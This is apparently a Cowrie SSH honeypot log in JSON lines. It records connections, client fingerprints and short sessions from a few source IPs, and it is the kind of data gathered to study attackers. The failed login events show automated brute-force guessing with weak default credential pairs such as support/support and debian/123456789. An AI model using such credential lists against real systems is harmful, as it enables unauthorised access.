{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:46.300127Z","src_ip":"87.251.64.176","session":"7c0678e0df96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53854,"dst_ip":"159.203.135.109","dst_port":22,"session":"3155c2c9503f","protocol":"ssh","message":"New connection: 172.237.20.62:53854 (159.203.135.109:22) [session: 3155c2c9503f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:54.735171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:54.740088Z","src_ip":"172.237.20.62","session":"3155c2c9503f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:54.902764Z","src_ip":"172.237.20.62","session":"3155c2c9503f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:55.387944Z","src_ip":"172.237.20.62","session":"3155c2c9503f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:03:56.553297Z","src_ip":"172.237.20.62","session":"3155c2c9503f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57598,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e97eba1d3bc","protocol":"ssh","message":"New connection: 89.144.211.139:57598 (159.203.135.109:22) [session: 1e97eba1d3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:03.130965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:03.138680Z","src_ip":"89.144.211.139","session":"1e97eba1d3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:03.277249Z","src_ip":"89.144.211.139","session":"1e97eba1d3bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"admin","message":"login attempt [user1/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:03.840881Z","src_ip":"89.144.211.139","session":"1e97eba1d3bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:04.971611Z","src_ip":"89.144.211.139","session":"1e97eba1d3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54536,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b4c373fdf57","protocol":"ssh","message":"New connection: 172.237.20.62:54536 (159.203.135.109:22) [session: 2b4c373fdf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:05.737431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:05.753797Z","src_ip":"172.237.20.62","session":"2b4c373fdf57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:05.917474Z","src_ip":"172.237.20.62","session":"2b4c373fdf57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:06.408185Z","src_ip":"172.237.20.62","session":"2b4c373fdf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:07.574383Z","src_ip":"172.237.20.62","session":"2b4c373fdf57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":35380,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bf8c6135cd5","protocol":"ssh","message":"New connection: 80.94.92.168:35380 (10.17.0.5:22) [session: 8bf8c6135cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:07.980374Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:08.100374Z","src_ip":"80.94.92.168","session":"8bf8c6135cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46638,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf5a088f574","protocol":"ssh","message":"New connection: 172.237.20.62:46638 (159.203.135.109:22) [session: 9bf5a088f574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:16.800325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:16.805146Z","src_ip":"172.237.20.62","session":"9bf5a088f574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:16.964616Z","src_ip":"172.237.20.62","session":"9bf5a088f574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:17.448314Z","src_ip":"172.237.20.62","session":"9bf5a088f574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:18.611235Z","src_ip":"172.237.20.62","session":"9bf5a088f574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38542,"dst_ip":"159.203.135.109","dst_port":22,"session":"b60769fe6024","protocol":"ssh","message":"New connection: 172.237.20.62:38542 (159.203.135.109:22) [session: b60769fe6024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:27.784582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:27.789381Z","src_ip":"172.237.20.62","session":"b60769fe6024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:27.953011Z","src_ip":"172.237.20.62","session":"b60769fe6024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:28.442547Z","src_ip":"172.237.20.62","session":"b60769fe6024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:29.609165Z","src_ip":"172.237.20.62","session":"b60769fe6024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55670,"dst_ip":"159.203.135.109","dst_port":22,"session":"43265c287519","protocol":"ssh","message":"New connection: 172.237.20.62:55670 (159.203.135.109:22) [session: 43265c287519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:38.843242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:38.848461Z","src_ip":"172.237.20.62","session":"43265c287519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:39.008220Z","src_ip":"172.237.20.62","session":"43265c287519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:39.489147Z","src_ip":"172.237.20.62","session":"43265c287519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:40.651139Z","src_ip":"172.237.20.62","session":"43265c287519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33510,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f0ef4fe70b8","protocol":"ssh","message":"New connection: 172.237.20.62:33510 (159.203.135.109:22) [session: 5f0ef4fe70b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:49.671698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:49.676570Z","src_ip":"172.237.20.62","session":"5f0ef4fe70b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:49.838408Z","src_ip":"172.237.20.62","session":"5f0ef4fe70b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:50.339498Z","src_ip":"172.237.20.62","session":"5f0ef4fe70b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:04:51.559978Z","src_ip":"172.237.20.62","session":"5f0ef4fe70b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34756,"dst_ip":"159.203.135.109","dst_port":22,"session":"aae13451530a","protocol":"ssh","message":"New connection: 172.237.20.62:34756 (159.203.135.109:22) [session: aae13451530a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:00.648870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:00.654701Z","src_ip":"172.237.20.62","session":"aae13451530a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:00.816135Z","src_ip":"172.237.20.62","session":"aae13451530a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:01.308876Z","src_ip":"172.237.20.62","session":"aae13451530a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:02.478735Z","src_ip":"172.237.20.62","session":"aae13451530a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57599,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcac8962c5df","protocol":"ssh","message":"New connection: 89.144.211.139:57599 (159.203.135.109:22) [session: fcac8962c5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:08.510663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:05:08.515555Z","src_ip":"89.144.211.139","session":"fcac8962c5df","protocol":"ssh"}
